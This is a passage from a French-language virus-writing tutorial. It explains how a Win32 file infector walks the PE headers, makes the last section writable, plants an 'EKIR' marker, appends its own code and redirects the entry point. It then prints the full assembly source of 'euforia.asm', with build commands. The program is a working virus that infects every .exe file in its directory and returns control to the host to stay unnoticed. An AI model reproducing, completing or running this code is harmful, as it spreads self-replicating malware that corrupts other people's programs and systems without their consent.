add eax, offset fin - offset start     ; on ajoute la taille du virus, cad 143 dc eax = 12143h.
xor edx, edx                           ; edx = 0.
div ecx                                ; on divise par 200h donc en eax on a 90h.
inc eax                                ; on incrmente eax donc eax = 91h.
mul ecx                                ; on multiplie par 200h -> eax = 12200h.
ret                                    ; on a donc en eax maintenant la taille  mapper o l'on
                                       ; a ajouter la taille du virus et qui est bien un
                                       ; multiple de 200h.

Bon, on en a fini avec tout ces trucs, on va pouvoir continuer. Le but de notre code est
d'aller s'crire dans un fichier  infecter. Sous windows, un fichier est compos d'une entete
et de plusieurs sections, nous allons donc aller devoir s'crire dans l'une d'elles, je pense
qu'il doit tre possible de copier notre code dans une nouvelle section que l'on viendra de
crer. Pour nous, ce sera plus simple, on va tout btement aller s'crire dans la dernire
section du programme. Or chaque section a une entte spcifique, notre but pour l'instant est
de trouver cette section header, voici comment est organis le Pe header:


       +--------------------------+
       |        Pe header         |    --> Taille  : 18h.
       |                          |
       +--------------------------+
       |         En tte          |    --> Taille  : 60h.
       |        optionnel         |
       +--------------------------+
       |       En tte des        |    --> L'entte d'un rpertoire a une taille de 8h.
       |       rpertoires        |
       +--------------------------+
       |       En tte des        |    --> L'header d'une section a une taille de 28h.
       |         sections         |
       +--------------------------+
       |          .....           |
       |          .....           |
       +--------------------------+

Nous, ce que nous voulons, c'est trouver l'adresse de l'header de la dernire section. Nous
allons donc devoir ajouter  l'adresse du Pe header, la taille du Pe header, la taille de
l'entete optionnel, la taille de la table des repertoires et la taille prise par les entetes de
sections :
- pour ce qui est de l'adresse du Pe header, nous avons dj vu comment faire.
- la taille de l'optionnal header est de 60h et la taille du Pe header est de 18h donc taille
du Pe header + Optionnal header = 78h.
- les rperoires nous permettent entre outre de connaitre l'adresse des fonctions imports et
des fonctions exports. Un reperoire a une taille de 8h sur le disque. Pour connatre la place
prise par la table des rperoires, il nous suffit donc de multiplier le nb total de rpertoires
par 8.
- l'header d'une section a elle une taille de 28h. Et  l'offset 6h du Pe header est justement
contenu le nombre de section, en dcrmentant ce nombre, on peut donc pointer sur l'header de
la dernire section.

-------------------------------

mov edx, [eax+3ch]            ; edx = adresse relative du Pe header.
push eax                      ; on sauve l'image base.
add edx, eax                  ; edx -> Pe header.
push edx                      ; on push l'adresse du Pe header.
xor eax, eax                  ; eax = 0.
movzx eax, [edx+6h]           ; on mets dans eax, le nb de sections.
dec eax                       ; eax = eax - 1.
mov ecx, 28h                  ; ecx = taille de l'entete d'une section.
mul ecx                       ; eax = eax * 28h.
pop edx                       ; edx -> Pe header.
mov ebx, [edx+74h]            ; on mets dans ebx le nb total de rpertoires.
shl ebx, 3                    ; nb de rperoires * 8.
push edx                      ; edx = adresse du Pe header.
add edx, 78h                  ; edx = edx + Taille du Pe header + Taille des entetes optionnel.
add edx, ebx                  ; edx = edx + taille prise par la table des rperoires.
add edx, eax                  ; edx -> dernire section.

-------------------------------

Dsormais, nous connaissons donc bien l'adresse de l'header de la dernire section. La premire
chose que nous allons faire est de rendre cette section crivable et lisable. A l'offset 24h de
l'header de la dernire section se trouve les charactristiques de la section, c'est donc ici
que nous allons modifi pour permettre de rendre la section readable et writable.
Un or [edx+24h], 0A0000020h va nous permettre de faire cela.
Pour ne pas avoir  infecter des fichiers dj infects, nous allons devoir mettre une marque
qui nous permettra de savoir si le fichier a dj t infect par le virus. Pour cela, nous
allons devoir crire notre signature dans un champs qui est inutilis pour le fonctionnement
du programme, on a justement cela  l'offset 24h du Pe header.

Gnralement, un infecteur lorsqu'il s'injecte dans un programme  pour fonction de modifier
l'EntryPoint pour que lorsque l'on relancera le fichier aprs infection, la premire ligne de
code  xcuter soit celle de notre virus qui s'est copi. Rflchissons un peu, notre
infecteur va aller s'crire  la fin de la dernire section. En ajoutant donc la taille de la
dernire section avant infection  l' adresse virtuel relative de la dernire section, on
devrait donc modifier l'EntryPoint pour qu'il pointe justement sur ce que l'on dsire.
L' autre chose  connatre est l'endroit o l'on dsire copier notre code, comme on l'a dit,
notre code sera crit  la fin de la dernire section. La somme de l'offset de la section dans
le fichier avec la taille de la dernire section sur le disque devrait donc nous permettre de
savoir o nous allons copier notre infecteur.
Voici une petit rappel sur l'header d'une section:
-  l'offset 0ch se trouve l'adresse relative de la section.
-  l'offset 10h se trouve la taille de la section sur le disque.
-  l'offset 14h se trouve l'offset de la section dans le fichier.
Le code sera comment plus bas.

L'ajout de notre infecteur dans la dernire section va nodifier certains champs de l'header de
de cette section:
-  l'offset 08h se trouve la taille de la section en mmoire qui doit tre un multiple de
l'alignement qui est  l'offset 20h de l'entte optionnel.
-  l'offset 10h se trouve aussi la taille de la section sur le disque qui doit tre un
multiple de l'alignement qui se trouve  l'offset 24h de l'optionnal header.
Pour modifier ces 2 champs, nous allons utils la call align dcrit plus haut.



-------------------------------

or [edx+24h], 0A0000020h             ; on modifie les attributs de la dernire section.
pop ebx                              ; ebx -> Pe header.
mov [ebx+4ch], "EKIR"                ; on crit notre signature.
mov eax, [edx+10h]                   ; eax = Taille de la section sur le disque.
mov ecx, eax                         ; eax = ecx.
add ecx, [edx+0ch]                   ; Entrypoint = ecx + Adresse virtuel de la section.
add eax, [edx+14h]                   ; Endroit o copier le virus = eax + offset de la section.
push eax                             ; eax = endroit de copie du virus.
push ecx                             ; ecx = Entrypoint.


mov ecx, [ebp+Alignraw]              ; ecx = alignement de la section sur le disque.
mov eax, [edx+10h]                   ; eax = taille de la section sur le disque.
push edx             ; .rsrc         ; on sauve edx qui va tre modifi dans le call.
call align                           ; on aligne.
pop edx                              ; on rcupre edx.
mov [edx+10h], eax                   ; on crit la nouvelle taille du fichier sur le disque, en
                                     ; ajoutant la taille de notre virus.

mov ecx, [ebp+Alignvirtual]          ; ecx = alignement de la section en mmoire.
mov eax, [edx+08h]                   ; eax = taille de la section en mmoire.
push edx             ; .rsrc
call align                           ; on aligne.
pop edx
mov [edx+08h], eax                   ; et on crit le nouvel eax calcul.


-------------------------------



Un fichier infect aura son EntryPoint modifier de telle sorte que le code de l'infecteur soit
excut avant toute chose. Mais aprs a, pour rester le plus discret possible, l'infecteur
doit tre capable de rendre la main au code d'origine pour que le programme puisse fonctionner
comme si rien ne s'tait pass.
Au offset 10h et 1ch de l'entte optionnel ( donc 28h et 34h  partir du Pe header) se trouve
respectivement l' Entrypoint, cad l'adresse relative la 1ere instruction  excuter et l' image
base du fichier, cad l'adresse du fichier en mmoire. Donc :
(Pe header + 28h) + (Pe header + 34h) == Adresse o rendre la main.
        |                   |
        V                   V
    Entrypoint          Image Base


A l'offset 38h de l'optionnal header se trouve la taille totale de l'image du fichier. Ce
champs va donc tre modifi suite  l'ajout de notre code.

Taille de l'image == Taille de la dernire section  + Adresse relative de la dernire section
                    (calcul avec l'ajout du virus)
        |                          |                                     |
        V                          V                                     V
(Pe header + 50h) == (Header last section + 10h)    +        (Header last section + 0ch)

C'est bon, on a fini toutes les modifications de l'header, il ne nous reste plus que la copie
de notre code en mmoire qui sera copi sur le disque lorsque l'on dmappera. Pour cela, on
va utilis l'instruction rep movsb qui va transfrer ce qui se trouve en esi vers la zone
mmoire point par edi, et cela ecx fois. Aprs, il ne nous restera plus qu' dmapper.


-------------------------------

mov eax, dword ptr [ebx+34h]         ; eax = ImageBase.
add eax, dword ptr [ebx+28h]         ; eax = ImageBase + Entrypoint.
mov [ebp+Entrypoint], eax            ; on le sauve.



pop ecx                              ; ecx = new Entrypoint calcul.
mov [ebx+28h], ecx                   ; on l'crit.
mov eax,[edx+10h]                    ; eax = Taille de la dernire section.
add eax,[edx+0Ch]                    ; eax = eax + Adresse relative de la dernire section
mov [ebx+50h],eax                    ; on copie la nouvelle taille totale du fichier.
pop eax                              ; eax = adresse relative o copier le virus.

pop edi                              ; edi = adresse de base = MZ header.
add edi, eax                         ; edi = adresse o copier le virus.
mov ecx, offset fin - offset start   ; on copie la taille de notre infecteur.
lea esi, [ebp+start]                 ; et  partir du label start donc du dbut.
rep movsb                            ; on copie.

push [ebp+AddrMap]
call [ebp+AunMapViewOfFile]          ; on dmap.
push [ebp+Mhandle]
call [ebp+ACloseHandle]
push [ebp+Fhandle]
call [ebp+ACloseHandle]

-------------------------------


La dernire chose  faire est de rendre la main au fichier hte, comme si rien ne s'tait
pass.

-------------------------------

mov ecx, [ebp+Entrypoint]            ; ecx = 1ere instruction que le fichier excutait avant
mov [ebp+NewEp], ecx                 ; qui soit infect.

....
....
....


exit:
cmp ebp, 0                           ; on regarde si on en est  notre 1ere infection.
je exit1                             ; si oui, on ferme avec l'api ExitProcess.
mov eax, [ebp+NewEp]                 ; sinon, on effectue un saut et on rend la main
jmp eax                              ; au programme d'origine.

....
....

exit1:
push 0
call [ebp+AExitProcess]

-------------------------------





[3/ Code source : ]



-----------------------------------------------------------------------------------------------
; euforia.asm par rikenar.
; virus win32 qui infecte tous les fichiers exe du rpertoire.
; et qui ajoute l'affichage d'une messagebox.
; tasm32 -ml -m5 -q euforia.asm
; tlink32 -Tpe -aa -x -c euforia.obj ,,,import32
; rikenar.al@secureroot.com
; http://barbus.homeunix.org/rikenar
; tant donn que l'on enregistre tous dans la section .code, il faut qu'on rende cette section
; writable. Pour faire a, vous avez qu' modifier les caractristiques de la section .code en
; e0000020 avec procdump.
; test sous windows 98, il est possible que sur xp, 2000, et nt, le code ne fonctionne pas 
; cause du fait que ces 3 derniers doivent tre moins souple au niveau de l'criture de notre
; code ( mais en cherchant un peu, on doit pouvoir arriver  le faire fonctionner parfaitement).


.386
locals
jumps
.model flat, stdcall

extrn ExitProcess:NEAR
extrn MessageBoxA:NEAR

.data
db "Euforia 1.0 par rikenar",0

.code
start:
mov eax, [esp]
call delta

delta:
pop ebp
sub ebp, offset delta
and eax, 0ffff0000h
inc eax

loop:
dec eax
cmp word ptr [eax],'ZM'
jnz loop
mov ecx, eax
mov ecx, [ecx + 3ch]
add ecx, eax
cmp word ptr [ecx], 'EP'
jnz loop
mov [ebp+APe],ecx
mov [ebp+Akernel],eax

mov edx, ecx
mov edx, [edx + 78h]
add edx, eax
mov ebx, [edx + 1ch]
add ebx, eax
mov [ebp+Afonction], ebx
mov ebx, [edx + 20h]
add ebx, eax
mov [ebp+Namefunc], ebx
mov ebx, [edx + 24h]
add ebx, eax
mov [ebp+Aordinal], ebx
mov edx, eax
mov esi,[ebp+Namefunc]
xor ecx, ecx

go:
lodsd
add eax,edx
mov edi,eax
push esi
lea esi,[ebp+NGetProcAdress]

comp:
cmpsb
jne next
cmp byte ptr [edi], 0
je good
jmp comp

next:
pop esi
inc ecx
jmp go

good:
shl ecx, 1
add ecx, [ebp+Aordinal]
xor eax, eax
mov ax, word ptr [ecx]
shl eax, 2
add eax, [ebp+Afonction]
mov ebx, [eax]
add ebx, edx
mov [ebp+AGetProcAdress], ebx


lea edi, [ebp+AGetModuleHandle]
lea esi, [ebp+NGetModuleHandle]

search:
push esi
push [ebp+Akernel]
call [ebp+AGetProcAdress]
mov [edi], eax
add edi, 4


next_api:
inc esi
cmp byte ptr [esi], 0
jne next_api
inc esi
cmp byte ptr [esi], 0cch
jne search

lea edi, [ebp+Auser]
lea eax, [ebp+Nuser]
push eax
call [ebp+AGetModuleHandle]
mov [ebp+Auser], eax

lea edi, [ebp+NMessageBox]
push edi
push [ebp+Auser]
call [ebp+AGetProcAdress]
mov [ebp+AMessageBox], eax

lea esi, [ebp+Titre]
lea edi, [ebp+Message]
push 30h
push esi
push edi
push 0
call [ebp+AMessageBox]

mov ecx, [ebp+Entrypoint]
mov [ebp+NewEp], ecx

lea esi,[ebp+WFD]
lea eax,[ebp+exe_mask]
push esi
push eax

call [ebp+AFindFirstFile]
cmp  eax, 0ffffffffh
je   exit
mov  [ebp+FirstHandle],eax

re:

push 00h
push 00h
push 03h
push 00h
push 01h
push 80000000h or 40000000h
lea esi,[ebp+WFD_szFileName]
push esi
call [ebp+ACreateFileA]
mov [ebp+Fhandle], eax
mov esi,[ebp+WFD_nFileSizeLow]

call mapping
call infection

second:


lea  edi,[ebp+WFD]
push edi
push [ebp+FirstHandle]
call [ebp+AFindNextFile]
test  eax, eax
jnz  re

exit:
cmp ebp, 0
je exit1
mov eax, [ebp+NewEp]
jmp eax


mapping:

push 00h
push esi
push 00h
push 04h
push 00h
push [ebp+Fhandle]
call [ebp+ACreateFileMappingA]
mov  [ebp+Mhandle], eax

push esi
push 00h
push 00h
push 02h
push [ebp+Mhandle]
call [ebp+AMapViewOfFile]
mov [ebp+AddrMap], eax

ret

infection:
mov esi,[eax+3Ch]
add esi,eax

cmp dword ptr [esi],'EP'
jnz demap
cmp dword ptr [esi+4Ch],"EKIR"
jz  demap

mov ecx, [esi+38h]
mov [ebp+Alignvirtual], ecx
mov ecx, [esi+3ch]
mov [ebp+Alignraw], ecx

push [ebp+AddrMap]
call [ebp+AunMapViewOfFile]
push [ebp+Mhandle]
call [ebp+ACloseHandle]

mov ecx,[ebp+Alignraw]
mov eax,[ebp+WFD_nFileSizeLow]
call align
xchg eax, esi
call mapping

mov edx, [eax+3ch]
push eax
add edx, eax
push edx
xor eax, eax
mov ax, [edx+6h]
dec eax
mov ecx, 28h
mul ecx
pop edx
mov ebx, [edx+74h]
shl ebx, 3
push edx
add edx, 78h
add edx, ebx
add edx, eax
or [edx+24h], 0A0000020h
pop ebx
mov [ebx+4ch], "EKIR"
mov eax, [edx+10h]
mov ecx, eax
add ecx, [edx+0ch]
add eax, [edx+14h]
push eax
push ecx


mov ecx, [ebp+Alignraw]
mov eax, [edx+10h]
push edx
call align
pop edx
mov [edx+10h], eax

mov ecx, [ebp+Alignvirtual]
mov eax, [edx+08h]
push edx
call align
pop edx
mov [edx+08h], eax


mov eax, dword ptr [ebx+34h]
add eax, dword ptr [ebx+28h]
mov [ebp+Entrypoint], eax



pop ecx
mov [ebx+28h], ecx
mov eax,[edx+10h]
add eax,[edx+0Ch]
mov [ebx+50h],eax
pop eax

pop edi
add edi, eax
mov ecx, offset fin - offset start
lea esi, [ebp+start]
rep movsb

push [ebp+AddrMap]
call [ebp+AunMapViewOfFile]
push [ebp+Mhandle]
call [ebp+ACloseHandle]
push [ebp+Fhandle]
call [ebp+ACloseHandle]

ret

demap:
push [ebp+AddrMap]
call [ebp+AunMapViewOfFile]
push [ebp+Mhandle]
call [ebp+ACloseHandle]
push [ebp+Fhandle]
call [ebp+ACloseHandle]
jmp  second

exit1:
push 0
call [ebp+AExitProcess]

align:

add eax, offset fin - offset start
xor edx, edx
div ecx
inc eax
mul ecx
ret

Akernel  dd 0
APe  dd 0
Afonction dd 0
Namefunc dd 0
Aordinal dd 0
FirstHandle dd 0
Fhandle dd 0
Mhandle dd 0
AddrMap dd 0
Alignraw dd 0
Alignvirtual dd 0
Entrypoint dd 0
Rawsize dd 0
NewEp dd 0
Base dd 0

NGetProcAdress db "GetProcAddress",0
NGetModuleHandle db "GetModuleHandleA",0
NExitProcess db "ExitProcess",0
NFindFirstFile db 'FindFirstFileA',0
NFindNextFile db 'FindNextFileA',0
NCreateFileA db      "CreateFileA",0
NCreateFileMappingA db "CreateFileMappingA",0
NMapViewOfFile db "MapViewOfFile",0
NunMapViewOfFile db "UnmapViewOfFile",0
NCloseHandle db "CloseHandle",0
NSetFilePointer db "SetFilePointer",0
NSetEndOfFile db "SetEndOfFile",0


db 0cch


AGetProcAdress dd 0
AGetModuleHandle dd 0
AExitProcess dd 0
AFindFirstFile dd 0
AFindNextFile dd 0
ACreateFileA dd 0
ACreateFileMappingA dd 0
AMapViewOfFile dd 0
AunMapViewOfFile dd 0
ACloseHandle dd 0
ASetFilePointer dd 0
ASetEndOfFile dd 0


Nuser db "User32.dll"
Auser dd 0
NMessageBox db "MessageBoxA",0
AMessageBox dd 0
Message db "Ce fichier est infect :)",0
Titre db "Warning !!!",0

exe_mask  db  "*.exe",0

WFD label   byte
WFD_dwFileAttributes    dd      ?
WFD_ftCreationTime      dd      ?
                        dd      ?
WFD_ftLastAccessTime    dd      ?
                        dd      ?
WFD_ftLastWriteTime     dd      ?
                        dd      ?
WFD_nFileSizeHigh       dd      ?
WFD_nFileSizeLow        dd      ?
WFD_dwReserved0         dd      ?
WFD_dwReserved1         dd      ?
WFD_szFileName          db      260 dup (?)
WFD_szAlternateFileName db      13 dup (?)
                        db      03 dup (?)

fin:
end start



-----------------------------------------------------------------------------------------------



[ 4/ Conclusion : ]

Donc voil la source de cette 1ere version de euforia, ce code n'est en aucun cas une rfrence
et n'est en rien optimis. Donc vous le savez, si vous voulez tester ce programme, alors
faites le sur votre machine et puis c'est tout (blablabla!). Si jamais vous voulez, vous
pouvez venir voir sur ma page , il y a aussi un article sur la programmation d'infecteur 16
bits. Je voudrai remerci kaze pour son aide, tout ceux qui m'ont permis de raliser cela grce
 leurs articles, cad merci  Tipiax,  Billy Belcebu,  Christal,  Doctor L. et  tout les
membres de rtc, merci aussi  toute la team ioc et puis aussi plus gnralement  tous ceux qui
refusent de se soumettre aux dirigeants qui nous gouvernent, aux patrons qui nous exploitent,
aux mdias qui nous disent n'importe quoi et  l'tat qui restreint ma libert et la votre...
Comme d'habitude, veuillez m'excuser pour les fautes, pour les erreurs si il y en a, et si vous
voulez me contacter pour n'importe quoi, alors :
rikenar.al@secureroot.com





http://barbus.homeunix.org/rikenar




                   " C'EST PAS EN PISSANT SUR LES MURS QUE BABYLONE VA TREMBLER "